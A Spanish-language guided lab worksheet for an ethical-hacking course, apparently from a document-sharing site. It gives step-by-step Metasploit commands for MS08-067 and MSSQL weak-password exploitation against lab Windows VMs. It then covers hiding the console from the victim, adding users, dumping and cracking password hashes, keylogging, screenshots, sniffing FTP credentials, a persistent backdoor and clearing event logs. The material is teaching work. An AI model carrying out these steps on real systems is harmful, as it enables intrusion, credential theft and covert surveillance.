Lab 7

Prácticas de Laboratorio Modulo "Explotación de Vulnerabilidades” PR-SEC 001 Práctica Guiada Número 7: Uso de Metasplo

Views 83 Downloads 0 File size 915KB

Report DMCA / Copyright

DOWNLOAD FILE

Recommend stories

Citation preview

Prácticas de Laboratorio Modulo "Explotación de Vulnerabilidades”

PR-SEC 001

Práctica Guiada Número 7: Uso de Metasploit : Explotación de una Vulnerabilidad técnica utilizando Frameworks especializados en explotación. Objetivos:  Aplicar los conocimientos y métodos obtenidos en el módulo de explotación de vulnerabilidades desde el punto de vista técnico, y no humano o funcional, complementando con el uso de código del tipo exploits previamente compilados y de código PAYLOADS, y la aplicabilidad de Shell remotas, de forma Directa y Reversa.  Aplicar otras funcionalidades del PAYLOAD Meterpreter, tales como: Keyloggers, puerta trasera, sniffing de paquetes de red, cracking de contraseñas, entre otros.  Aprender a configura y a ejecutar los módulos auxiliares de metasploit Recursos:  Linux Backtrack 5R3  Internet  Equipo físico con Windows 7/XP, Máquinas Virtuales Windows XP Atack y/o Windows Server 2003 "Megatron"  METASPLOIT Recomendaciones:  Comprender los conceptos relacionados con los Exploits, tales como: Server y Client Side, Remoto, Local, entre otros.  Tener claridad al respecto de las 5 fases vistas en el Diplomado, al respecto de la auditoria de sistemas, del tipo Hacking Ético.  Comprender los conceptos relacionados con las técnicas de ataques que son usadas por los delincuentes informáticos. Pasos a seguir para la realización de la práctica de laboratorio: Punto número 1: Usando otros PAYLOADS. Para este caso vamos a utilizar el siguiente PAYLOAD: "windows/vncinject/reverse_tcp" Este PAYLOAD nos da una conexión del tipo VNC en la victima, sin necesidad de utilizar el PAYLOAD Meterpreter. Tener presente usar el mismo código de

explotación de la práctica pasada que explotaba la vulnerabilidad MS_08_067, es decir usar el exploit exploit/windows/smb/ms08_067_netapi. Para lograr lo solicitado en este punto de la práctica de laboratorio, se debe de hacer lo siguiente:  Ingresar a backtrack  Abrir metasploit en interfase msfconsole  Utilizar el exploit exploit exploit/windows/smb/ms08_067_netapi  Asignar el valor a la variable RHOST  Seleccionar el PAYLOAD windows/vncinject/reverse_tcp  Asignarle valor a la variable LHOST  revisar con el comando show options  Ejecutar el exploit, haciendo uso del comando exploit. Una vez que se ejecute el exploit, se verá en la conexión realizada con la víctima, una sesión vnc, pero a la vez se abre una consola cmd.exe en pantalla azul. Lo anterior generaría algún tipo de desconfianza en la victima, por lo que es importante deshabilitar esta opción en el código de explotación. Lo anterior se logra haciendo lo siguiente:  

Cerrar la conexión VNC Desde la consola msfconsole, digitar el siguiente comando: set DisableCourtesyShell true



Luego se vuelve a ejecutar el exploit, ya ya no debe de aparecer la consola cmd.exe de color azul, en la victima.



Punto número 2: Ejecutando otros Exploit y nuevos PAYLOADS. Continuando con los procesos de explotación, vamos a ejecutar un nuevo exploit, el cual se aprovecha de nuevo de una vulnerabilidad humana (Clave débil en usuario SA del servidor SQL Server), pero esta vez el proceso de explotación será más automatizado. Para aprovecharnos de la

vulnerabilidad en mención, vamos a utilizar el exploit llamado windows/mssql/mssql_payload. Además que vamos a ir avanzando en los procesos de post-explotación utilizando las diferentes herramientas que nos ofrece los diferentes PAYLOADS, haciendo más énfasis en meterpreter. Para poder ejecutar este punto de la presente practica de laboratorio, se debe de hacer lo siguiente:  realizar desde msfconsole una búsqueda con el comando search mssql  Luego en los resultados que nos aparece en pantalla, seleccionar el exploit windows/mssql/mssql_payload  Asignar al metasploit el uso del exploit en mención con el comando: use windows/mssql/mssql_payload  Luego vamos a buscar los PAYLOADS disponibles para este exploit con el comando show payloads  Seleccionamos el PAYLOAD windows/adduser  Para seleccionar el PAYLOAD, se ejecuta el comando set PAYLOAD windows/adduser (Tener presente que este PAYLOAD lo que permite es crear un usuario en el equipo victima)  Luego vamos a dar el comando show options para poder ver las opciones que nos pide el Exploit y el Payload seleccionado. Las variables a asignar son: PASSWORD --> aquí ponemos la clave vulnerable, la cual es password RHOST--> aquí colocamos la IP de la victima LHOST--> aquí colocamos la IP del atacante PASS --> El password del usuario que se va a crear en Windows Server USER--> El nombre del usuario que se va a crear en Windows Server

Todas los valores a las anteriores variables, se asignan con el comando set

 finalmente cuando todas las variables están asignadas, se ejecuta el comando exploit  Por último se debe de verificar en Windows Server, que el usuario si ha sido creado. Para lo anterior, podemos hacer uso modulo auxiliar llamado: auxiliary/scanner/smb/smb_lookupsid. Para utilizar el anterior modulo auxiliar de metasploit debemos de realizar lo siguiente:

   

use auxiliary/scanner/smb/smb_lookupsid show options set RHOSTS IP Windows Server exploit

En la siguiente imagen encuentras de forma secuencial todos los pasos mencionados anteriormente.

 Si el modulo auxiliar se ejecuta de forma correcta, deberemos tener los nombres de usuarios y grupos que existen actualmente en el servidor Windows 2003 Server, dentro de los cuales debe de salir el usuario que acabamos de crear haciendo uso del exploit windows/mssql/mssql_payload y del PAYLOAD windows/adduser. (Ver en la siguiente imagen los resultados de la ejecución de este código de explotación)

Punto número 3: Otras funcionalidades de Meterpreter. El paso siguiente es volver a usar el PAYLOAD meterpreter de forma paralela con alguno de los códigos de explotación que hemos visto hasta el momento, y proceder a realizar otras labores de post-explotación. Para lograr lo anterior, se debe de realizar lo siguiente:  Seleccionar un código de explotación que sea efectivo en la victima (Puede ser el mismo del paso anterior)  Seleccionar en el PAYLOAD windows/meterpreter/reverse_tcp  Luego ejecutar el proceso de explotación, donde debemos de quedar en una consola Meterpreter.  El siguiente paso es dar el comando getsystem, pata escalar privilegios  Luego se debe de dar el comando ps, para ver con qué proceso nos hemos colado en el sistema víctima.  Luego se debe de dar el comando hashdump, para ver los hash de los usuarios de nuestro sistema víctima. Luego vamos a crackear los hash de los password de los usuarios de Windows. Lo anterior se logra de una forma fácil y cómoda usando metasploit, para los cual nos vamos a ayudar de dos módulos auxiliares llamados: auxiliary/analyze/jtr_crack_fast post/windows/gather/credentials/credential_collector  Para poder ejecutar estos dos módulos de forma paralela, se debe de continuar ejecutando los siguientes pasos:  desde msfconsole seleccionar el módulo auxiliar: post/windows/gather/credentials/credential_collector  El anterior modulo se carga en metasploit con el siguiente comando: use post/windows/gather/credentials/credential_collector.  Luego se da el comando show options y se observa que se le debe de indicar alguna de las sesiones que se tengan activas en el momento,

que para el caso deberíamos de tener dos, una sesión para la explotación de MSSQL y otra la explotación SMB.  indicar la sesión activa con el siguiente comando: set SESSION 1  Luego se ejecuta el modulo auxiliar con el comando run Como se puede observar en el siguiente resultado del comando, se obtienen todos los hash de los usuarios de Windows.

 Luego se ejecuta el modulo auxiliar de metasploit llamado auxiliary/analyze/jtr_crack_fast, el cual nos sirve para hacerle crack a todos los passwords de los usuarios del sistema víctima, que para el caso es Windows Server. Recordar que para seleccionar el anterior modulo, debemos de hacer uso del comando use de msfconsole.  Por último ejecutamos el módulo auxiliar con el comando run.

Punto número 4: Colocando un Keylogger. El paso siguiente es volver a usar el PAYLOAD meterpreter junto con alguno de los códigos de explotación vistos en clase, y proceder a colocar en la victima un keylogger, para capturar los datos que el usuario escribe en el equipo víctima. Para hacer lo solicitado en este punto de la práctica de laboratorio, se debe de realizar lo siguiente:  



 

   

Abrir en el equipo server 2003 el aplicativo notepad. Volver al equipo atacante Backtrack y ejecutar de nuevo el comando ps, para poder identificar con que ID está el notepad ejecutándose. Una vez que se identifique el ID del notepad, debemos de realizar un proceso de migración del proceso con el cual hemos comprometido el sistema víctima, al proceso que ejecuta el notepad en el mismo equipo víctima. Lo anterior lo logramos con la ejecución del comando migrate, seguido del ID identificado del proceso notepad. Si sale algún mensaje de error por cuestiones de permisos, entonces debemos de ejecutar el comando getsystem, para poder escalar privilegios en la maquina víctima. Luego ejecutar de nuevo el comando migrate, seguido del respectivo ID, y ya debe de realizar una migración exitosa. El siguiente paso es poner el keylogger en funcionamiento, con el siguiente comando: run keylogrecorder Esperar unos segundos, y comenzar a escribir en el notepad de la víctima. Luego darle control+c para detener el keylogger Finalmente usar el comando cat o nano desde una Shell nueva de Linux, para visualizar las capturas de teclas, en la ruta indicada por el registro del keylogger

Anotación: Recordar lanzar el comando cat desde una consola (Teminal) de comandos diferente a la de metasploit tal y como se muestra en la siguiente imagen.

Entre otras de las opciones de meterpreter, ttambién se puede registrar capturas de pantalla de la víctima con el comando screenshot, lo cual se puede lograr con los siguientes pasos Ingresar al equipo víctima, y abrir el notepad y colocar lo siguiente: Hola, mi número de tarjeta de crédito es: 12376666 y la clave es 123333  Una vez que escribamos eso, regresamos a la shell de meterprter (resultado en pasos anteriores de esta práctica)

en Backtrack y ejecutamos el siguiente comando: screenshot  De inmediato debe de salir en Backtrack, una copia de pantalla de la víctima, con lo cual el atacante podrá obtener información valiosa, y podrá espiar a la víctima. Punto número 5: Capturando tráfico. El paso siguiente es usar el PAYLOAD meterpreter junto con alguno de los códigos de explotación, con el objetivo de capturar tráfico de red en la maquina víctima. Para lograr capturar el tráfico de red en la maquina víctima, se debe de hacer lo siguiente:  Realizar un proceso de explotación con algunos de los exploits usados en clase  usar meterpreter como PAYLOAD  Una vez estando dentro de meterpreter, ejecutar el siguiente comando: run packetrecorder -i 1  Luego se debe de ingresar a server como usuario normal, y lanzar una conexión FTP contra la maquina Windows X Importante: Antes de realizar este ejercicio, se debe cargar el servidor FTP Filezilla en Windows XP y crear un usuario y contraseña, además asignarle una ruta FTP al usuario creado  Una vez que este todo listo, ya si se puede proceder a ejecutar el comando: run packetrecorder -i 1  Luego hacer la conexión desde server por FTP hacia Windows XP.  Finalmente ingresar de nuevo a backtrack, detener el sniffer, y proceder a abrir el archivo .pcap generado, usando el software Wireshark. Si todo se hace de forma correcta, se podrá observar el usuario y contraseña que se ha capturado por medio del sniffer en el equipo víctima.

Punto número 6: meterpreter como puerta trasera. El paso siguiente es usar el PAYLOAD para proceder a dejar a meterpreter como una puerta trasera en la maquina víctima, para que nos permita conectarnos a la víctima cada que necesitemos hacerlo, y no dependa la explotación

directamente de una vulnerabilidad conocida, ya que esta puede ser solventada por el administrador de red. Para lograr esta tarea, se debe de hacer lo siguiente:  Estar en una consola meterpreter, la cual se logra con la explotación de alguna vulnerabilidad conocida en la victima.  Ejecutar el siguiente comando para colocar meterpreter como un servicio en la máquina víctima, los cual se logra ejecutando el siguiente comando: run metsvc –A  De inmediato se debe de abrir una nueva consola de meterpreter, la cuales puedes verificar con el comando sessions –i.  Luego debes de cerrar las 2 sesiones de meterpreter que tienes abiertas  Luego debemos de tratar de conectarnos a la puerta trasera persistente que hay en nuestra víctima, para lo cual ejecutar el exploit multi/handler, lo cual se logra ejecutando el siguiente comando: use exploit/multi/handler  Posteriormente selecciona el siguiente PAYLOAD windows/metsvc_bind_tcp  Para asignar este PAYLOAD al exploit, se ejecuta el siguiente comando: set PAYLOAD windows/metsvc_bind_tcp.  Luego se le asignan las variables al exploit, que para el caso son RHOST y el puerto en el cual quedo a la escucha el servicio de meterpreter  Luego se ejecuta el exploit

Paso 7 Mas Meterpreter: Utilizar los siguientes comandos, y verificar su funcionamiento hacia el sistema que se está analizando. sysinfo shutdown reboot clearev

Actividad extra: Crear un script para automatizar las labores explotación. Dicho script se crea para msfconsole. Ayudarse internet para esta labor. La idea es automatizar algunos de códigos de explotación y PAYLOADS usados en las clases y en laboratorios.

de de los los